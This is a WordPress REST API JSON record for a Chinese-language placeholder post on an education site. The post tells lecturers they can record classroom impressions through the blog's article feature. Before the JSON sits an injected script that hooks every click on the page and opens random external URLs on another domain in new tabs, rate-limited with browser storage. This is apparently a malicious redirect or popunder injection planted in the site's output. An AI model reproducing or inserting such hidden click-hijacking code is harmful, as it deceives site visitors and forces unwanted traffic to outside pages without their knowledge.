<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1097,"date":"2015-03-23T16:22:46","date_gmt":"2015-03-23T08:22:46","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_lecturer\/?p=1097"},"modified":"2022-02-14T11:44:55","modified_gmt":"2022-02-14T03:44:55","slug":"%e9%8b%bc%e7%90%b4%e8%80%81%e5%b8%ab%e7%b5%a6%e5%ad%b8%e7%94%9f%e7%9a%84%e4%b8%80%e5%b0%81%e4%bf%a1","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/peekaboo_lecturer\/?p=1097","title":{"rendered":"\u6559\u5b78\u73fe\u5834"},"content":{"rendered":"<p><span style=\"color: #000000;\"><span style=\"font-size: 24px;\">\u60a8\u53ef\u4ee5\u5c07\u8ab2\u5802\u4e2d\u770b\u5230\u3001\u807d\u5230\u3001\u9ad4\u6703\u5230\u7684\u4efb\u4f55\u5fc3\u60c5\u6216\u60f3\u6cd5\u8a18\u9304\u4e0b\u4f86\u3002<\/span><\/span><\/p>\n<p><span style=\"color: #000000; font-size: 14pt;\"><span style=\"line-height: 1.5em;\">\u5728\u5f8c\u53f0\u7ba1\u7406\u5229\u7528\u300c\u6587\u7ae0\u300d\u7684\u529f\u80fd\uff08\u985e\u4f3cblog\u7684\u6a5f\u5236\uff09\uff0c\u4f86\u767c\u8868\u60a8\u7684\u5167\u5bb9\uff08\u6587\u5b57\u3001\u5716\u6a94\u6216\u5d4c\u5165\u5f71\u7247\uff09\u3002<\/span><span style=\"line-height: 1.5em;\">\u66f8\u5beb\u5b8c\u6210\u5f8c\u52fe\u9078\u300c\u96a8\u7b46\u5c08\u6b04<\/span><span style=\"line-height: 1.5em;\">\u300d\u7684\u5206\u985e\uff0c\u4f5c\u70ba\u6587\u7ae0\u67e5\u8a62\u8207\u5206\u985e\u7684\u4f9d\u64da\u3002<\/span><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u60a8\u53ef\u4ee5\u5c07\u8ab2\u5802\u4e2d\u770b\u5230\u3001\u807d\u5230\u3001\u9ad4\u6703\u5230\u7684\u4efb\u4f55\u5fc3\u60c5\u6216\u60f3\u6cd5\u8a18\u9304\u4e0b\u4f86\u3002 \u5728\u5f8c\u53f0\u7ba1\u7406\u5229\u7528\u300c\u6587\u7ae0<\/p>\n","protected":false},"author":6,"featured_media":1505,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"categories":[6],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/posts\/1097"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1097"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/posts\/1097\/revisions"}],"predecessor-version":[{"id":1431,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/posts\/1097\/revisions\/1431"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/media\/1505"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1097"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1097"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1097"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}